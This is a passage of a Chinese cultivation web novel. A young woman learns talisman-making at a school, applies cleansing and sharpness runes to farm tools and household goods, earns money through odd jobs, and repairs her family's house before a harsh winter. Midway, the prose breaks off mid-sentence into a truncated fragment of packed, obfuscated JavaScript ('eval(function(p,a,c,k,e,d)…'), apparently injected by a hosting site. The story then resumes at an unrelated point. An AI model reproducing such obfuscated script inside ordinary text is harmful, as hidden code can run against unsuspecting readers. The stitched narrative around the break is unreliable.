经过加起来两个时辰的修炼,苏茜的肌肉疲劳基本上都恢复了,不过似乎苏越的状况略差。 “你怎么了?昨晚练习过度?” “嗯,花了太多时间,结果睡得少了。”又困又酸痛。 “那我会早点结束练习法术。”免得将孪生兄弟比成渣。 “……”你就不会说帮我干点吗?可惜苏越不敢这样说,怕被妹妹揍了之后再被姐姐打,因为这种堪称“偷懒”的举动连最疼他的祖母都不会原谅他,连母亲回来听说了都会揍人的! 兄妹两个的地块距离家里略远。苏茜做完今天的活后,躲远了点像是去找地方方便,实则回了一趟岛上。 岛上如今比最早的荒岛好了太多。而且,岛上有少量的灵气,这一点让苏茜极为高兴。虽然灵气浓度比身处的世界还要低很多,可是能保证安全,时间足够的话还可以恢复灵力。花园木屋已经非常陈旧还漏水漏风,三角木屋基本都散架了。山洞里大量的东西都成了垃圾需要清理掉,唯一让人安慰的是经过她的法术加固,水渠和山洞更加稳固,洞里还开辟了一个小储藏室。 苏茜能进来的时间不多,因为全家那么多人,而且还有修士。尤其是她母亲和大姐,是能用神识查探四周的,她不能随便进出,当然也不需要。家里都是修炼的人,即使二哥其实没什么资质还是称得上修士,作息根本不是凡人的日出而作、日落而息,因此每人一间房间供修炼不说,还相隔着一点距离以免互相打扰,中间的堂屋、厨房是大家共用的,两间茅房和一间洗浴间是在另一边。冬天的时候,这种布置就不是那么人性化了。 “呸!”苏越吐掉一口雪沫,哆嗦得更严重了。冬天跑出来大解,哪怕裹着棉衣裤都不行。跑进堂屋后更郁闷了,连二哥都穿得比他少,更不要说妹妹。 “你就不会运功?”苏茜无语地看着这家伙。她从没见过、更没听说过便秘的修士……这也许跟苏越怕冬天上茅房而特意少喝水有关联吧? “一旦停了再重新运功,就,更……”拉不出来了。 “吃壶温水加少许泻药就行。别加太多,你上次就是,水喝得少药下得多——”极为凄惨,还是大姐出手……呃,不能回想。 “武技课有一条,冬天也是穿练功服在室外练的。”做不到就回家。因此学的人多,能学成的最多两成人数。苏力好心提醒小儿子,其实他觉得最小两个孩子的选择如果对调一下就好了。但显然两人都不同意。 “没事。我会训练自己一直运功的。”不能被妹妹比到地底下吃泥巴是他唯一的执念。大姐在好不容易晋阶中期后已经成为镇上唯一一间卖书兼教导修炼入门的书店的管事,每月能赚两三百灵珠,虽然只有母亲的一小半,但让家里人时不时吃到含有灵气的肉,还能存起来在镇上造间房子独立出去,或是在附近再买块地未来接手苏家。 “你也可以晚一年去念,将修为打磨得更稳固些。”苏明评价道。从今年开始,她弟弟在修为上已经比妹妹有些落后了。 苏越正想坚持己见,母亲开了口,“你后年再去上学,不然再过十天你就要在雪地里站桩一个时辰。” “这个,能穿您给我的羽氅吗?” “只准穿练功服和靴子。单靴,不是你现在穿的棉鞋。” “我那年也是太过自信,撑了几天最后还病了,之后就一直是同学里倒数的那一拨,只学了三年就退学了。”苏力难得将自己的黑历史拿出来,这算是父亲的最后一点点“同情心”了。 苏越简直想放声大哭。 “你在家好好修炼。每天三个时辰。反正明年的农忙季我会请假回来帮忙的。”苏茜算是给兄弟一个安慰。 “小茜,你可以先收拾行李,后天跟我一起走。早点去学堂挑间屋子。” “好。” 主城名为宇清,距离苏家上百里。这里的“里”比公里长得多,大家都是到镇上乘坐兽马大车去主城,到城门附近的驿站再去宇清学堂。前后整整半天,算比较快且便宜的交通方式了。苏英女也是这样来回的,因为每月也就是三天假,所以每次只能在家两天都不到。如果苏茜去上学,得交点食宿费住在学堂,可能几个月才回来一次。 兽马大车其实就是畜力平板车,可以一百灵珠包车,也可以坐满十个座位、每座十灵珠后一起出发。 苏茜的年纪当然不可能坐在母亲腿上,何况她还背了个大包裹。学堂其实是城主补贴的,半年的学费和食宿费加起来才三百灵珠,甚至是一人一间屋的住宿条件,要知道城里的普通客栈单间住一晚不包吃饭至少十五灵珠。当然,学堂的房间就是个静室的大小,一门一窗,除了一几、一席,一个布帘和帘后的盥洗间,其他什么都没有。席倒是好席,是专门种植的千绒草制作,冬暖夏凉,打坐修炼和睡觉都在这张席上——苏茜其实很想买的,可惜没钱,更不知道如何种植和制作千绒草。她现在除了十几个基本法术,就只会一点种地的技术,其他啥也不会,零用钱也只有母亲每个月给的十个灵珠、如今都带来学堂,离开家里的田地都无法养活自己。 宇清学堂在宇清城外,占地很大。场地、房舍、师资乃至入学前领的“校服”,都是城主府出的。 但是,请问符术课程的第一课为什么是学习给袖口绣花? 符术课的统一着装都是“复古”的修士袍样式,就是布料在这大雪天气里显得很单薄,没实力运功保持温暖的少年少女们只能在里面穿棉衣。苏茜穿着偏薄的夹棉衣,外套袍服,因为个头不矮,看起来并不臃肿。 现在,上课的先生告诉他们,为避免宽大袖子扫到符墨等物,大家要先学清洁符——绣在袖口上的。 黄纸和鬼画符呢?对了,啥叫符线? “大家照着这个图案,按册上指示的顺序,用符线将袖口一圈都绣满,这样能保持三年左右不需要更换袖子。”先生表示,第一堂课一点都不难,因为几乎所有的学生都不会绣花,目测两个袖子能让半数学生绣上半个月什么的。看,穿针引线都要花不少时间! 苏茜仔细感应,才发现符线真不是大家身上衣服所用的棉线丝线金属线,而是某种带有少量灵气的纤维做成的。略粗硬,而且不是长线,是半尺左右的一根根线。这里的尺和寸的长度倒没有太夸张,所以一根符线能绣出一个符文。 对,是清洁符文。 “先生,这个能否绣在衣襟和后背上?” “可以,但袖口以外所用符线要你们自己买,一整盒一百灵珠,大概能让一整件衣服三年无需清洁,但你们身上这件衣服如果损坏,买件新的只需三个灵珠。如果灵珠不够,以后可以去学堂里的符部接任务。”先生显然有点恶趣味在身,看着九十四个学生的表情心情挺好。 苏茜属于动作最快的那一拨学生。第一天,花费四个时辰学会了第一个符文。 累死了。两个袖子,起码得十六天吧? 第三天,先生过来教已经绣出来至少一个符文的学生新技能:神识辅助“绣花”,顿时大家的速度蹭蹭就加快了三四倍。到了第十天,包括苏茜在内的九个学生已经完成了袖子的“绣花”作业。 这些学生被分到甲班。乙班是二十天内全部完成的,有五十几个。其他的都去了丙班。 从此时起,学生们尤其是甲、乙班学生才真正意识到学堂竞争的残酷:甲乙班不是一直不变的,而是可能就在下一次不提前通知的考核又重新调整。丙班不是没有机会,但在甲班四个月后的第二次考核后已经彻底没了可能。 “先生,不是故事书里有一位仙人在飞升曾经用一张从古仙府中得到的符宝,将一头火龙变成冰雕,最后碎成了沫?” “那是若干万年前的事了。万年前这样威力的符宝就已不可能制出来,千年前连符宝都没有了。现在,你老老实实学翻地符,说不准未来能活到三百岁。” “……是因为灵气不够了吗?” 先生根本不搭理这个满脑袋小说故事传说的小子。“甲班已经将这本书上的三十六个符都学完了,能在灵石上制作出一个符就算过关。你们这些连灵石长什么样都不知道的小家伙,还打算学多久?!” 至于丙班,还在学十二个常用符中的符文。而第一批淘汰的四名学生已经回家了。 苏茜对第一名已经没了想法。甲班至少有三名学生是有基础的,甚至入学前已经学会了至少二十个符,并且在家时就开始学做符。 哦,不是画符,又是一件让她重新学习的常识。听说很久以前的符材质各异,从龙鳞到空气,从一个符干掉一个仙人到凭空画符开山打怪。至少现在,他们这些学生做的符都是在从来不作为一般等价物流通的灵石上。而事前连手的材料则是黄金……好吧,在民间,黄金也可以买不含灵气的东西,比如她家房子所用没法自己制作、自家田地也不出产的粗壮木料。至于更便宜的等价物就只有铁钱,其他往往是易物交易。 最受欢迎的交换物就是她家前年收获的一年生谷子,含有些微灵气、非常顶饱,婴儿拳头大的饭团可以让一名凡人壮汉干活三个时辰不饿,不过修士就不够了。光是人力翻地种下种子,苏茜本人的效率在法术的加持下堪比两名凡人农夫加一头牛——就是时间比较短——自然吃的东西也得增加。 亦所以几乎每个家庭都希望自家孩子能修炼,苏英女这样的“顶梁柱”自然就能无视性别成为家主,长女苏明则是家里排位第二的主力军、未来的家主。 “你怎么想到在锄头上做符的?”甲班先生十分好奇。其实在凡铁造的物品上打符文比在灵石上容易,但从价值来说很不划算。 “给我两个哥哥种地时用,省得为了他们的面子,我还要停下来等他们。” “……”思路真够清奇,但似乎很实用?先生点点头,过了。“你的灵石没有用,可以交下一份作业。想好做什么符吗?” “火龙符。” “好。”从翻地一步跨到火龙?这跨度真够大。“火龙符难度不小,一定要静心。” “是。” 所谓火龙符,又不是真能跑出来一条火龙,而是只能操控大方向、无法控制其具体走势的火焰。也许高级的火龙符就是火龙,反正以苏茜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏越瞅着自己的两柄镰刀,不知道该说什么——他连风系法术的边都没摸到,所以天赋什么的真讨厌!他坚决不承认双胞胎兄妹其实先天资质完全相同,是自己每天平均修炼的时间连两个时辰都凑不满而导致差距越来越大。 “你在学堂就是每天学做符吗?” “我们甲班,先生每三天上课一个时辰,检查作业考核,其他都是自己练习,自己修炼。乙班是四天,丙班大概是十天左右吧。这样一位先生正好忙得过来。” “你一直在甲班?”甲乙经常有变化,这一点上过学堂的都知道。 “你们考了几次了?”考了几次都是甲班,如果能继续保持最好。 “这三天、四天、十天的,怎么区分啊?”十天上一节课、交一次作业?有这等好事?! “我从一开始就在甲班,没掉到乙班过。我们已经考核了三次。丙班就是三年内就回家的班。乙班是有可能学成的班。甲班根不上进度的就去乙班。我们已经有几个学生回家了。” “啊,十天上一次课不是好事啊?” “同样一件东西,我只学三天就学会了,你如果要花十天。那么当然是你回家,我留着。” 苏茜狠踩苏越一脚。 “我明年还是去学造物吧。”苏越的雄心壮志都转为了脚踏实地。好在这半年里,他对木匠活计有了一点心得,不然如果真的一年就被退学回家也太过丢人。 农忙的时候家里人手勉强够用,因此苏英女就没特意回来。不过苏茜回学堂后,在一个午后见到母亲。 “这些灵珠你拿着当零用,需要买的东西别节约。还有灵石,觉得特别好的符就做出来,没有便暂时放在你那。小心别丢了。放屋子里也不是特别安全,每年学堂里都有失窃的事情,有时能抓到,有时抓不到。” “好的。”苏英女是办别的事情顺便路过的,匆匆交代完就骑马走了。这里的马匹跟苏茜脑袋里的马长得不太一样,还分很多档次。最厉害的当然能飞,最普通的有点像驴子。苏英女的坐骑算是中档,四肢修长、跑得很快但不能负重,骑士必须是修士,不然会骨折甚至摔死。 苏茜回去后继续修炼。余下的时间全部用来看书、练法术和在白纸上练符术。毕竟是符文,灵力输出的稳定流畅程度直接决定成功与否。 清洁符、清洁咒、清洁术,名字看起来有关联,实则是不同的东西。清洁术往往是对自身用,保持身体和衣物的清洁,俗称点尘不染;清洁咒往往与巫蛊、死灵等相对,如果配合金光咒效果最佳;清洁符最重要的是保持小环境比如橱柜、地下室之类的清洁,配合封存符最适合物资存储空间。 符是有有效期的,但是,有总比没有好,起码她能清理出这些年的灰尘杂质,何况这不是可以过几年就用新的符吗?!像是储水池、陶瓷盆,水渠乃至屋子、山洞、集装箱甚至发电机——清理出来的污垢让人惊愕。有趣的是,发电机等少量电气制品因为一直放在封闭的环境里,可能还能用。 心情大好的苏茜在新的考核里首次进入前三。 “我家有十六亩地,之前有不少农活是我和我兄弟做的。去年回家收割庄稼的时候,我用了风系法术,但一天只能收割三分,其他差不多三亩都是用镰刀割的,从早到晚干了几天。所以我就想着怎么用法术和符术帮助做农活。” 所以她的实践考核拿了第三。 其他学生不想说什么。学以致用一直是学堂考核最喜欢的点。 不过等下一个锋锐符,她竟然拿了第二!先生还特意表扬了一把。 原因是,她觉得耍大刀十分英武。 “我的零用钱要买些书和灵兽肉包子回去给兄姐,所以学好了可以回去请父亲给我打制一柄凡铁刀,加上锋锐符,也可以震慑那些短斤缺两还对我挥拳头的不良商贩。所以,我觉得,自己用得上是最好的激励。” 这一届的符术只剩下甲乙两班不到四十人,其他学生都退学回家了,个别不甘心地从头开始学其他课程。再过一年,他们就会从学堂毕业。城主府用的人全部是直接接洽而不是贴榜招人,但目前没有人与苏茜谈过未来,她也不在意。说实话,光是在农具上运用符术,就足够她生活了。 “听说府里做符的人很多,这几年都只挑选一两名符师。苏茜,有人找过你吗?” “没有。”苏茜正在学堂的书店里找书。“没有城主府,没有店铺。不过我父亲很喜欢我在他卖的东西上加一两个有用的符。上次他卖的大衣柜多了清洁符,原本的三块金元立刻卖到三十灵珠,他就给了我十个灵珠。”十个灵珠可以换三块金元,反过来兑换则要四块金元换十个灵珠。 “你做的符才得十个灵珠?!” “我们做的初级符防尘不到十年。能开什么价。”找到了先生说的中级符文大全。虽然贵得有点牙疼,但不得不买。幸好学生买书可以便宜点,但也要三百多灵珠,直接将她的小金库刮走大半。 那位同样是农家出身的同学被颠覆了认知,呆愣好久才道,“我以为,总能值个几百灵珠……” “我们学费才多少?做个初级清洁符才多久?”他们这样的练气初期,修炼半个时辰、花一小半个时辰,还想挣几百灵珠?想什么美事!连青楼都没这个价——当然城里没有修士青楼。 苏茜没时间浪费在眼高手低的人身上,径自苦着脸出去付账,然后抱着一摞书跑回静室兼寝室。这个书价,肉疼啊肉疼!哪怕这不是一本而是一套图书叠起来半人高、还是大开本的,要不是修士根本抱不动。 考虑到安全问题,苏茜连着两天都待在室内抄书,挑拣着将肯定无法抄写的书都放到山洞里。顺便说一句,灵谷灵菜做的吃食保质期明显比普通食物长,加上室内外一样冷,所以放两天也还能吃。 两天一夜居然抄了五大本,不得不说,这书的纸张质量过硬也厚重,五大本的符文都是她有基础的,文字部分也就是万把字,手抄笔记还是可以搞定的。她对学堂里的硬笔非常满意,尤其适合快速“草书”。 抄书的笔记本加笔墨,一块金元可以买一小箱笔墨加上三十本很厚实的硬皮书写笔记本子。一万字和三十个符文及其组合,都写不满一本笔记本。 得去上课了。她将抄完的书放在寝室、门窗都加上小机关才离开。 课堂上她问的就是书里的内容。 先生暗中点头,又是一个会自学的学生。那书的价格其实是经过斟酌定下的,太便宜会让人觉得廉价不珍惜,太贵直接打消学生的积极性,正好是个能付得起学费的家庭大多能承受的数字。买一本打折也要三十灵珠,整套四十五本学生买打折三百六十灵珠——外面的书店至少一千——贪便宜的本性会让学生们买全套,而且基本上都会看完不舍得浪费钱。 苏茜并不知道先生们的良苦用心。她永远都是缺钱贪便宜的俗人,甚至还因为怕被偷而拼命看书抄书。等起早贪黑把四十五本书都读完,她突然感觉就是现在退学也没事。 因为山洞里的存货有了不小的进展。不仅是所有东西要么扔了,要么看上去九成新——部件老化除外——这次的封存符可以持续起效三十年,到完全失效估计也还有十几二十年的。而清洁符因为消耗小,有效的时间更久。 但其他高一等的符就没那么容易了。 比如能让弓箭射程增加好几倍的符,要不影响准头和杀伤力,加工箭头时还需要注重效率,练习起来不是一般的耗时间,制作的消耗也比封存符长得多,因此周期是后者的五六倍。酬劳的倍数更多。 10. 修士烦恼多(二) “噗——砰——” 箭支正中靶子,不过不是靶心,而是偏了些。此外,箭头没入靶子一半。 但考虑到四百步的距离、铁质靶子以及飞快的速度,这个成绩堪比异世界的步木仓。 “好!”几个考核的先生叫好,其中一位还是武技课的先生。 “这娃不错,要不要转来我们武技课。” “呸!她都要学成了,你还骗人学费不成。” “不不,这样的好苗子不需要另外交学费,只要在其他武.器上用上符术,就算武技这边学成。” “你是说?” “没错!” 苏茜是本人亲自测试弓箭的,得一路走过来靠近靶子的地方交考核,只听到后半段。她望向自家先生。 “要不你试试在刀上做点什么,通过后就等于又学了武技课,而只要交符术的学费。如果考得好,有可能入城主府做事的。”武.器附符,还是有希望去城主府的。 苏茜对学习新东西颇有兴趣,对城主府工作没兴趣。她并不认为去城主府旗下的符堂排排坐、每天做相同的事是多好的差事,除了收入稳定,估计那时连自己的小岛都去不了,还有可能被“分”到一个丈夫。所以她并没有如先生预料的那样通过母亲的关系去符堂打招呼,为“前程”铺路。 “你是怎么想的?”苏英女问小女儿。她觉得小女儿上学之后就完全捉摸不准想法了。 “女儿想先去铺子里挣点灵珠,然后回来学造物。”武技的课程她旁听过,由于其班级划分过分细致,包括将法术、修炼和武技完全分离的做法,令她对两年学一件事毫无兴趣。唯一有意思的就是造物了。 “你想自己开铺子?” “不一定。买铺子或是买地都可以。”家里十六亩地未来给大姐二哥二哥都够呛,她能自己养活自己,何必抢兄弟姐妹的生活来源。 “好。”能自立不需要啃老的子女当然好,“母亲支持你。造物的学费我来出。” “不用,我下月去帮工,很快就挣出来了。学堂里的屋子我付了灵珠保留下来。”她已申请延期付学费,这个就不用跟母亲说了。至于家里农活,她表示自己已经将家里的农具“武装到牙齿”,连水壶都成了保温的。 “拿着,你好好学本事是最要紧的。”苏英女叹息着,还是塞了一袋灵珠给她。 苏茜没拒绝。她正在边打工边研究各处的地价和房价。 需要提一句,城里普通住房和商业店面的价格差距不是几倍,而是几百倍。最靠近城门、各方面条件都不行的无院落住房才五百灵珠,同样面积的主干道铺面则是十万起,大店铺则基本都是城主府的。租住价格差距倒没那么大,由于本地租房大多是带家具、取暖、马车、吃食供应甚至仆从,比住普通客栈独立小院还贵,普通商铺的租金都及不上。至于镇上,住房倒是比较统一,两进带后院兽车停车地的院子一般在五万上下,没有一间屋那种房源,铺面往往都是前店后院,每个房源的价格都不同,从来不按面积定价,从一万到三十万灵珠不等。 而田地的价格很有意思,宇清城周边因为一些她把握不准的原因,比她家那一带地价低不少,一亩才一万灵珠左右,而她家的十六亩地价值超过五十万灵珠,是几代人慢慢攒钱扩充的成果。 对了,本地有价值的东西尤其是土地都以灵珠计价,没有人接受金元。因此在苏茜说一半的酬劳可以用金元付、兑换还是一灵珠三块金元的时候,几家铺子抢着要人。 黄金吔!苏茜完全不觉得吃亏。本地的金元纯度很不错,即使没有到24K,应该也有18K以上,如果不是因为缺电,她早就下手熔炼了。三块金元就相当于一根小黄鱼,三百金元足够在一线城市买间卧室、哪怕在港城也够有个棺材板了,这好事上哪去找?!她完全无视自己连夜“加工”的首饰、家具、服饰、武.器以及各类的符石在店里卖了翻倍的灵珠。 “你这段日子辛苦了。”收学费的管事都知道苏茜是在考核与上新的造物课程之间去打工挣钱。一个月挣出来半年学费,其实也不是多困难的事。他并不知道苏茜另外三百多灵珠其实是不到一千的金元,不然肯定骂她是笨蛋。 “不辛苦,学生喜欢有事情做。”打工赚的大都交学费了,而母亲给的灵珠用来买法术符术还有阵纹书。阵纹与她以为的阵法是两回事,倒是与符文有直接关系,本质上都是通过灵力某种形式的运转来达到一定功效,简单点说就是阵纹简单但面积大、符文复杂但体积小。感觉阵纹类似于玄幻小说里的奥术阵。 第一个成功的阵纹试验品是岛上一个小储水池。池子不仅有略显年久失修的水泥,还有岩化法术,现在多了个清洁阵纹,不让周围的泥土枯枝掉进去,但不阻碍上方掉落的雨水和尘土:第一个成功的失败品是将上方的雨水都阻止了,她不得不毁掉重新来。 倒是她将清洁阵纹用在山洞和花园小屋,效果扛扛的。最关键的是,阵纹是吸收灵气而存在。岛上灵气浓度很低,但用来维持一个消耗最小的清洁阵勉强能持续下去,最多清洁效果不佳,需要配合定期清洁术维持干净。 无所谓了,她现在在学将灵棉做成保暖效果绝好的灵绵。做成可以弄出来长期可用的被褥。 “听说早年我们这里气候暖和,还有一年两熟的谷子。” “多早啊?” “我祖父一辈还说曾经有过人高的大雪,雪后又是水灾,而现在好些了,至少一百年没这样的大雪了。” “人高的雪?那怎么出门啊!” “那时还用了雪舟和雪板。不过修士倒还好,但衣服太少或湿掉的话,修为不高就得生病。” “是啊!又不是全家各个能抗住冬雪的。” “那家里要不要自己种些灵木啊,冬天一块灵木能烧十几天,比普通木头强多了。” “我的屋反正是不烧的。” “……” “……” 苏茜想到自己岛上一年都长不了一厘米的灵木轻摇头,“灵木长成太慢了,现在种下,能砍了烧得几十年后吧。” “那种火灵木要百年。比我们现在用的灵棉难长多了。但谁也不会用火灵木烧暖炉取暖啊。” “确实会冷到练气初期都会冻死的地步?” “听说有一年冻死了十几万人,其中不少都是修为不高、又觉得自己是修士不应该保暖的。凡人倒是早早准备好木头和石火。” “石火?那不是一般人家了。” 石火是用来锻造高级铁制品的精炼矿物,绝对不是煤。真正修士用灵器是用地火的,但仅城主府有配置地火。 “其实,我们这些练气初期也不算修士。以前得筑基才算。” “以前还有宗门呢!”解散后什么都不是,还一直被盯住夺宝,都不如自家城主这个过去的散修。 学生们上学堂前就都不是懵懂无知的,现在聊到不能继续的话题,识相地打住,回去修炼。 造物课,苏茜仍然在甲班,前十,但没进前三。造物是个非常宽泛的概念,但涉及修炼和武.器方面的已经分到其他课程,因此默认主要针对民生,保暖自然是重要分支,就是真没什么研究这个,只有修炼不出什么的人学习并且沿袭以前的方式做下去。比如连皮革靴子里加一层绒都没想过。 好吧,加绒的靴子是凡人工业发达的产物。现在这个半修士半凡人的匠人时代,没修为的人穿不起灵兽毛皮做的靴子,而有修为的人拼命要在华氏零度的天气里穿单衣纱裙。 “那些穿彩纱的是城主府侍女。” “幸好我母亲是女侍卫。”不需要冻得脸色发青还要显示自己的纤腰。说实话,这些侍女的修为实力比母亲低了一大截,不过长相却是高出不止一点。 “没看出来你挺有志向。” “志向?侍卫和侍女都不是我的志向。我喜欢有一块自己的地,山林地也好,造一栋喜欢的小房子,种点喜欢的东西,没灵珠就做做工。” “……难怪你学建筑特别认真。”但从不考建筑方面。 “我只要一栋小屋,茅房厨房都在一起,烧个火炉到处都暖和的那种。屋外种些树,冬天砍了烧。” “……真是,好想法。”第四个来套话的同学嘴角抽搐地找别的同学试探去了。 苏茜继续在火炉附近光线好的地方看书。这里是用油灯照明的,起码四盏灯才能保证眼睛不瞎,六盏灯才适合看书,一桶灯油送一盏灯得一块金元呢,哪怕这桶油超过两公斤都让苏茜觉得贵!这些金子都够买两个不错的护眼灯用上二十年。所以除非赶时间、她都是天黑后修炼和练武。 倒是火灵木纤维做的护头护脚、可睡可坐可伸手看书游戏的睡袋,由于“创意”太别致,这个新产品就由苏茜自己用一个灵珠买下自用了。 苏茜高兴坏了。这种能扛华氏零度的轻薄透气多功能睡袋,都快赶上改良版气凝胶了。所以到手后立刻装箱,清洁符封存符加上,再放在清洁阵里。睡袋的布料也是灵木,贵着呢。一个灵珠连材料费都不够,真心是处理价了。 不过睡袋兼斗篷的创意还是被学堂直接用了。第二年的新学生连被子垫褥乃至可以睡的千绒草席都没有,整个房间就一个需要另外花费五个灵珠的睡袋,加上千绒草打坐垫子。听说侍卫营也推广多用途睡袋,省了后勤不少麻烦。 苏茜看过这些制式睡袋的样式,觉得没有自己设计的好。扭头自己买了不少骨折价火灵木材料,配合其他有贵有便宜的材料,折腾出一堆建议零售价从二到五十灵珠的保暖商品。这世界没有外观专利,她唯一得到的好处就是极低的材料支出,以及特别好找的零工工作——工钱没有半丝提高,最多是买少量自用材料能拿到进货价。 此处的自用是自家十口人用,而非她一个人用。 “我各做了十套,大家一人一套。”火灵木的垫褥和被子,厚薄各一套。她和母亲的已经用起来,其余八套加起来是个超级大的包裹,兽马大车得买相邻两个座位,重量也不比一个成年人轻,好在苏茜的实力扛着从镇上走到家没压力。不过那景象堪称惊悚,造成了小小轰动。 “这么大包裹,你怎么不找个推车。”苏成他们四位老人,包括苏力他们都惊呆了。小孙女读书和实力都比孙子强些,但在他们眼里还是比已能养家的大孙女苏明还是差了一截。因为苏英女在她的学业上已经砸了近两千灵珠,镇上一些人之前都在议论怎么学堂要念这么多年,是不是考核经常不通过只能重修。 “又不算太重。”租辆推车差不多需要一个金元,如果她去租搞不好抬价到一个灵珠外加车主“帮忙”送来,干嘛浪费这个钱。多付一笔车费已经够心疼的了。自己开始挣钱才知道十个灵珠需要耗费多少时间精力。 苏越过去试了试重量,他可以扛,但扛着走那么远的路就很难说会成什么样子,反正肯定不可能像妹妹这样一脸若无其事。 “外祖母,这些外面的布缝得都很简单,最好外面再加一层能够经常洗的布套。我没时间做,就买了些布料回来。”她这些布料质地都是相当好的,没有图案花纹绣花也花了她好几块金元,其中还有五块皮革更是五个灵珠。 “哎呀,小茜能给家里带东西了。”长辈们是欣慰的。“你母亲的你带去了吧?” “是,带去了。”给母亲的其实是各两套、没有皮革。 苏力感受了下两种被子和褥子的温暖程度,“这都是火灵木做的?” “对,我自己做的。不过布套不是火灵木。” “火灵木?” “盖上这条厚被子最冷的时候都不需要生火炉。” “哦!” “碰到什么事,只要有个普通帐篷,再垫块油布就可以了。披风我还没来得及做。做完了下次带回来。” “好好!”外祖母阿林高兴地笑出满脸褶子。她是家里年纪最大、实力最低的,最冷的冬季都没法出门,上茅厕成了大问题。 不光是披风,还有面罩手套靴袜和裤筒。 苏茜研究了下,再加两个有清洁符、凝固符、祛味符的马桶——这玩意她熟啊,保证符术黑科技。 不过回到学堂,披风挺简单,马桶犯了难,尤其是凝固符不是那么用的啊!可化学试剂又不知道怎么做。结果最后折腾出来一个阵纹符文复合马桶,她自己用了,嘿嘿,还带保温功能的,可惜没法做成真正的高科技马桶盖,可在没有进水管、下水道和清洁剂的情况下,如果放外面零售,真的可以媲美黄金马桶了。 先生听完她的马桶作品介绍,表情保持空白,然后点头,给了个优减,理由是价值太高无法大范围推广。听说宇清城的富户们中间开始流行起各种科技型马桶,但如苏茜这样功能强大的就比较少见了。 也许哪天冲水马桶就成为常见品了——不可能是抽水马桶,因为没有自来水系统和下水道,连城镇生活垃圾都是自己烧了或沤肥或扔水道的。 所以苏家喝的水是从水井里打,灌溉的则是河里打水放到洒水推车里,回到地头再浇。这种推车都是苏家父子做的,只花材料费,对外则要卖一个灵珠,周边不少农家都用这个。用法术灌溉的基本没有,因为用浇水车一天能浇两亩,而练气初期用法术的话大概才一亩出头还需要额外的修炼恢复时间。 对了,她是用两个箱子装了两个马桶,请假回家帮忙农忙,因为占地略大得多付十个灵珠。好在她是直接做了高科技马桶成品寄售的,净利润挺不错。但如果想买一小块林地加上一栋小屋的材料,得做大几千只马桶……宇清城及周边还不一定有这样的购买力!她还是老老实实打工再说。 “小茜真是有心了。”祖母和外祖母两位极端喜欢苏茜孝敬的马桶。眼看就到了最冷的季节,上厕所确实是件麻烦事。 “一到积雪的时候大车就停了,我可能接下来就不回来了,到车子行走方便的时候再说。” 苏茜又给每位长辈一把灵珠作为零花钱。“家里口粮就不要卖了,万一下大雪、春季洪水就不好了。” “怎么,你听到了什么消息?”在母亲苏英女不在的时候,祖父苏成是家里的主心骨。 “我就是听到有同学在说,一百多年前大雪积得有一人多高,雪融化了又是水灾,灵谷都烂在地里,还是当时一位前辈去外地采买来粮食才不至于饿死太多人。” “……明白了。”这几年家里都不怎么靠卖粮的收入支撑,所以苏成手里还真的攥着半仓库的口粮。 “我会做些封存箱子。再看看怎么修仓库。”她看向大姐。 “那你只管做。收割的事我来。”苏明立刻拍板。 “好。” 家里的两个儿子郁闷地简直想撞墙,但实力这玩意放在那。比如封存符做的粮食储藏箱,苏勇压根帮不上忙。他现在只会做普通箱柜,需要密封封存的箱子根本做不来。 …… 大雪已到了膝盖,对凡人家庭而言比较麻烦。城里道路上的积雪都扔进河道,城外学堂的道路上也没有积雪,往各个普通镇子的积雪铲得比较慢,都是踩着积雪走的。最主要的三条官道则每天都有铲雪,直达好几百、上千里外的其他主城范围。 苏英女也是官道铲雪的一员。女侍卫并没有特殊之处,纯粹是性别为女,城主府女眷出门也跟她们无关。因为很多场合需要女侍卫出面,所以她们做的工作甚至更麻烦。 “要不要拍晕了,省得叫个不停。”城主从不曾有好色的“事迹”,事实上他是个真正的修士,没有女人没有孩子。大家一致认为下一任城主是他的弟子之一,只是不知道哪位能活过师傅的寿命,搞不好是徒孙来继承。 “好。”女侍卫首领上去就将两名明显修炼得不行、但是长相装扮和脾气都很行的女子当场拍晕。“谁再吵也一起!” 她毫不怜香惜玉地将两名女子扔进困在雪中的兽车,然后望向使者。 “请,请诸位援手。”千里迢迢走在大雪道路上的人也是苦不堪言。他们一无大量人手,二无实力修士。还以为凭着美女钱财可以敲开宇清城城主府,但对方光是一队二十名女侍卫就让他们懵了。 三支队伍六十人一个上午分头将两百里的次干道清理出来,还跟下午替换的人手说了这个车队的来意。 “我们回去禀报。” “好。对了,这些人怎么应付?” “听话。不听话打昏。” “明白!” 除了沿路碰到还好奇研究的人,整个宇清城里外压根不知道不到两千里外的地方已经沦落到最高只有练气后期修为——宇清城上一次修士筑基是在三十年前,城主的新弟子之一。 …… 苏茜这样在城外学堂上学的人按部就班地修炼、学习、练习和打工。修炼课是所有学生都要上的,而且有常年答疑的修炼先生,同时也会开放各类练气初、中期法术书籍。 “记住,你们是修士,不是真的凡人木匠,建的房子也得有修炼之人的样子。” 先生教的其实就是苏家房子的简易版。其实凡人皇宫恢宏大气、人力物力财力耗费巨大,而修士的屋子,首要特征是静室,再确切一点,学堂的极简单人宿舍才是最典型的修士居所;其次是功能房屋,比如仓库和种植屋;最后才是苏茜对建筑的理解,外观造型、内部布局、装修装饰和厨卫设施等等。技术路线大相径庭,没有可比性。 所以整个造物课程苏茜就没有空闲的时候——除了修炼,其他的全部用来打工了,一个月平均能挣三百灵珠,差不多也就够买材料的,余钱都花在回家的来回交通费和带给家人礼物。 “我把房子修整一下吧。”苏茜看着漏风的茅厕、漏水的仓库以及越来越废燃料的炉子,还有其他一堆杂七杂八的。也没管长辈们同不同意,直接撸袖子上,倒是让苏成苏力父子有些尴尬。他们也是木匠呢,但造房子都是跟在后面做事、没有自己为主做过整栋建筑,毕竟他们两个的特长是打造武.器、还不怎么合格的那种。 因为将岛上花园小屋重新“加工”了一番,苏茜开始对修缮旧房子有了点心得,看到家里这土里吧唧还特别不方便的格局,就想拿来当试验,顺道设想下如果自己建房要如何做。 苏成老先生本来想打下手的,不过在看到小孙女拿了泥巴直接岩化成石头的做派,决定还是回自己地盘去。 而灵力消耗一空的苏茜则在半个时辰的修炼后突然发现,自己修为可能有了点小进益,应该是到练气中期了。 她花了三个白天三个半夜,将四亩地全部种下,还把家里的房子修缮一遍,反正外祖母超级喜欢她从两对老夫妇的屋子修往茅厕的通道,以及新做的马桶。 “小茜啊!你觉得你哥哥当马桶匠好听吗?” 